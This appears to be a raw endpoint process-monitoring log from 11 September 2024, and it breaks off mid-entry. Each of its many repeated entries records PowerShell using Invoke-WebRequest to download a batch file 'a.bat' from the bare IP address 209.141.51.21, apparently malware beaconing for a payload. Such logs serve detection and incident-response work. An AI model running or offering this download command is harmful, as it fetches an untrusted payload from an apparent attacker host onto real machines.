PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 00:30:06 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 00:30:29 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 00:32:37 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 00:33:00 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 00:35:07 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 00:35:30 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 00:37:38 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 00:38:01 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 00:40:09 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 00:40:32 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 00:42:39 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 00:43:03 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 00:45:10 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 00:45:34 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 00:47:40 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 00:48:04 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 00:50:11 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 00:50:35 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 00:52:42 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 00:53:06 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 00:55:13 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 00:55:37 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 00:57:43 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 00:58:07 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 01:00:14 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 01:00:38 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 01:02:44 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 01:03:09 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 01:05:15 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 01:05:40 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 01:07:46 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 01:08:10 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 01:10:17 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 01:10:41 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 01:12:47 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 01:13:11 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 01:15:18 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 01:15:42 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 01:17:49 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 01:18:13 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 01:20:20 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 01:20:44 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 01:22:51 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 01:23:15 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 01:25:21 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 01:25:45 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 01:27:52 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 01:28:16 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 01:30:23 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 01:30:47 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 01:32:54 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 01:33:18 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 01:35:24 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 01:35:48 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 01:37:55 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 01:38:19 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 01:40:26 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 01:40:49 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 01:42:57 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 01:43:20 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 01:45:27 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 01:45:51 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 01:47:58 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 01:48:22 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 01:50:29 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 01:50:53 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 01:53:00 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 01:53:23 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 01:55:30 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 01:55:54 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 01:58:01 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 01:58:25 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 02:00:32 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 02:00:56 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 02:03:02 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 02:03:27 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 02:05:33 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 02:05:57 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 02:08:04 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 02:08:28 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 02:10:35 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 02:10:59 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 02:13:05 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 02:13:29 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 02:15:36 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 02:16:00 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 02:18:07 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 02:18:31 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 02:20:37 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 02:21:01 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 02:23:08 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 02:23:32 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 02:25:39 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 02:26:03 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 02:28:09 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 02:28:34 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 02:30:40 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 02:31:04 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 02:33:11 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 02:33:35 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 02:35:41 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 02:36:06 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 02:38:12 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 02:38:37 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 02:40:43 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 02:41:08 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 02:43:14 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 02:43:38 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 02:45:44 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 02:46:09 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 02:48:15 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 02:48:39 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 02:50:46 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 02:51:10 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 02:53:16 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 02:53:41 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 02:55:47 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 02:56:12 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 02:58:18 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 02:58:42 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 03:00:49 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 03:01:13 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 03:03:19 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 03:03:44 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 03:05:50 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 03:06:14 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 03:08:21 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 03:08:45 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 03:10:52 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 03:11:16 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 03:13:22 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 03:13:47 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 03:15:53 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 03:16:17 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 03:18:24 NOTIFY: PROCESS 